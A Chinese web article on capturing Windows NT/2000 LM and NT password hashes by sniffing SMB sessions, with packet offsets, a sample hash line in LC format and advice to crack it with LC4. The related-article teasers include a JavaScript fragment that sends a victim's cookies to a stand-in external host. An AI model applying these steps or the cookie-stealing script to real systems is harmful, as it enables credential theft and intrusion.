驱动管家:安全、高效、精准的专业驱动下载站!

如何通过sniffer来劫持winnt/2k的hash?

2018-03-17 16:02:16责编:llp   来源:驱动管家     人气:

声明:本文只是在技术上分析如何来通过sniffer来劫持winnt/2k的hash,对此文可能造成的危害不负任何责任。

引言:近来SMB会话劫持的讨论占据了个大技术论坛不少的位置,吸引了不少人的目光,同时绿盟月刊37期、Phrack杂志60期和安全焦点峰会也刊登出了相关的文章,使得SMB会话劫持成为一个热点。由于是window设计上的缺陷,这是一种无法察觉又非常可怕的攻击方法。本文试图从SMB数据包分析的角度来说明如何截获winnt/2k的hash,具体的实现就不公布了,请读者牢记前面的声明。

如何通过sniffer来劫持winnt/2k的hash?

说明:为了使文章有针对性,关于SMB协议以及SMB会话过程就不谈了,用到的时候会一带而过,感兴趣的朋友请自行查询附录中的参考文档。文中提到的数据包如果没有特别说明都是通过Sniffer pro截获到的,并且为了分析方便,去掉了物理帧头、IP头和TCP头,只留下NETB和SMB部分。  

正文:假设两台机器,一台为Client A,一台为SMBServer B。

一、session的建立
设法让A去访问B的特定资源,产生一个NETBIOS会话。A发送Session request,其中包括经过编码的NETBIOS名字。B在139端口监听连接,收到A的request后,B发送Session confirm,其中没有任何内容。这样就建立了一个有效的session。其中Session request数据包的NETB Type为0x81,Session confirm数据包的NETB Type为0x82,可以在程序中通过判断这两个标志来确定是否产生一个有效的session,然后就可以想办法截获SMB包了。

二、Challenge的获得

当有效的session建立后,就开始进行连接的确认工作了,从这一步中可以得到B发送给A的由B随机产生的Challenge。过程如下:A向B发送一个身份认证的请求,B随机产生一个8字节的Challenge发送给A,这个Challenge就包含在B发回给A的Server Response数据包中。用Sniffer pro截获这个包后,去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做36个字节的偏移,下面的就是长度为8个字节的Challenge。这样就得到了我们需要的服务器随机产生的Challenge。(由于本文的目的在于散列截获的实现,所以数据包内个字节内容的具体含义不做任何解释,只说明位置,下文也遵循这个原则。想深入了解的朋友请参阅附录的参考文档)

三、LM&NT HASH的获得

A得到B发回的用于加密口令的Challenge后,向B发送建立空连接的请求,B返回Server Response包,此时IPC空连接成功建立。A然后发送LM&NT HASH给B,请求访问特定的资源,等待B的允许。我们需要做的就是截获A发送的这个SMB包。下面来看怎么拆解出HASH,还是去掉物理帧头、IP头和TCP头,再去掉4个字节的NETB头,剩下的就是SMB包的内容,再去掉33个字节长的SMB Reponse header,然后向后做28个字节的偏移,下面的24个字节的内容就是LM HASH,紧接着的24个字节就是NT HASH。现在我们就获得了A主机的LM HASH和NT HASH。

四、HASH的破解

前面已经获得了Challenge、LM HASH和NT HASH,现在我们做成lc文件格式,下面就是导入lc4来暴力破解了。lc的文件格式如下:192.168.0.244 ADMINIST-7Z6A4E\Administrator:"":"":89E5E3F54A998398DC36E89DDD37334C801201CA39C9A5D3:8457623684F27A5EFA5FE7B647E87C36D78616F80594123C:E3A96FF4507B9EDF后面的三列数字分别为LM HASH、NT HASH、Challenge。

五、总结

本文旨在于讨论winnt/2k下SMB会话劫持的实现,相关问题请查阅参考文档。因为入侵方法复杂,并且需要一定的基础,所以,掌握的人并不多。我已经尽量写地简单,只要按照以上的步骤去做就能实现,具体的代码实现就不写了,有兴趣的朋友自己去研究吧。

  • 攻击个人主机的步骤是什么?网络攻击的原理和手法

    攻击个人主机的步骤是什么?网络攻击的原理和手法

    第一步:隐藏自已的位置为了不在目的主机上留下自己的IP地址,防止被目的主机发现,老练的攻击者都会尽 量通过“跳板”或“肉鸡”展开攻击。所谓“肉鸡”通常是指,HACK实现通过后门程序控制 的傀儡主机,通过

    详情2018-02-15 17:42:26责编:llp   来源:驱动管家     
  • 上传漏洞入侵方法有哪些?上传漏洞的防范技巧

    上传漏洞入侵方法有哪些?上传漏洞的防范技巧

    “上传漏洞”入侵是目前对网站最广泛的入侵方法。90%的具有上传页面的网站,都存在上传漏洞。本文将介绍常见的上传漏洞及其防范技巧。一、能直接上传asp文件的漏洞如果网站有上传页面,就要警惕直接上传asp文件漏

    详情2018-03-11 17:08:49责编:llp   来源:驱动管家     
  • 什么是正向连接木马?什么是反弹连接木马?

    什么是正向连接木马?什么是反弹连接木马?

    目前常见的木马有三种 正向连接木马 反弹连接木马 收信木马正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他的端口。而我们要知道他的IP,才能够连接他。123就是他机器上开的端口由于到

    详情2018-02-14 08:51:30责编:llp   来源:驱动管家     
  • ms08 046漏洞分析过程 ms08 046漏洞与什么有关?

    ms08 046漏洞分析过程 ms08 046漏洞与什么有关?

    08046估计国内很多小牛大牛搞出来了 最早知道有这么个洞大约是在今年三四月份,听某牛man说有个系统默认支持的图片格式的洞,结果四月份出了个MS08-021,POC也有公开的,当时以为传言指的就是这两个 "鸡肋 " 没想到8月

    详情2018-02-05 16:39:49责编:llp   来源:驱动管家     
  • 偷取Cookie的方法 如何将cookie等信息传到我们的站点?

    偷取Cookie的方法 如何将cookie等信息传到我们的站点?

    偷取Cookie,通过以下脚本引入一个js,document write( " "),然后js内容为:var code; var target = "http: www xxx net cookie asp? ";info=escape(document location+ "@@@ "+document cookie);target=target

    详情2018-03-15 13:21:31责编:llp   来源:驱动管家     
  • webworker攻击有哪些方式?怎么预防webworker攻击

    webworker攻击有哪些方式?怎么预防webworker攻击

    一、WebWorker介绍由于Javascript是单线程执行的,在执行过程中浏览器不能执行其它Javascript脚本,UI渲染线程也会被挂起,从而导致浏览器进入僵死状态。使用WebWorker可以将计算过程放入一个新线程里去执行将避

    详情2018-02-07 14:09:14责编:llp   来源:驱动管家     
  • gnome是什么?gnome evolution存在什么漏洞?

    gnome是什么?gnome evolution存在什么漏洞?

    gnome是一种用户界面(GUI,或者叫XWindows)。Linux不像Windows,用户可以选择使用不同的用户界面(或者不使用,只使用命令行),让用户更容易的使用系统和管理文件,GNOME是比较流行的一种,而且不止可以用在Li

    详情2018-01-24 17:20:08责编:llp   来源:驱动管家     
  • 加密锁的优缺点介绍 加密锁怎么加密?

    加密锁的优缺点介绍 加密锁怎么加密?

    盗版,对大多数软件开发者来说都是一个令人担心的问题。在采用了加密锁加密后的软件会不会被黑客破解呢?理论上说没有不能破解的软件,即使是纯数学的密码加密也有被破解的可能,只不过破解的时间可能是个天文数

    详情2018-01-31 10:52:02责编:llp   来源:驱动管家     
  • 怎么入侵Oracle数据库?使用了这些操作命令

    怎么入侵Oracle数据库?使用了这些操作命令

    本文按步骤讲解如何入侵Oracle数据库时常用的操作命令整理。1、su–Oracle不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。2、sqlplus nolog 或sqlplus system manager 或 sqlplu

    详情2018-03-12 16:30:19责编:llp   来源:驱动管家     
  • 非法获取password的原理 黑客软件工作方法

    非法获取password的原理 黑客软件工作方法

    一、非法获取Password的原理:   Edit控件是Windows的一个标准控件,当把其Password属性设为True时,就会将输入的内容屏蔽为星号,从而达到保护的目的。虽然我们看来都是星号,但程序中的Edit控件实际仍是用户输入的密码,应用程序可以获取该控件中的密码,其他

    详情2018-02-08 14:04:09责编:llp   来源:驱动管家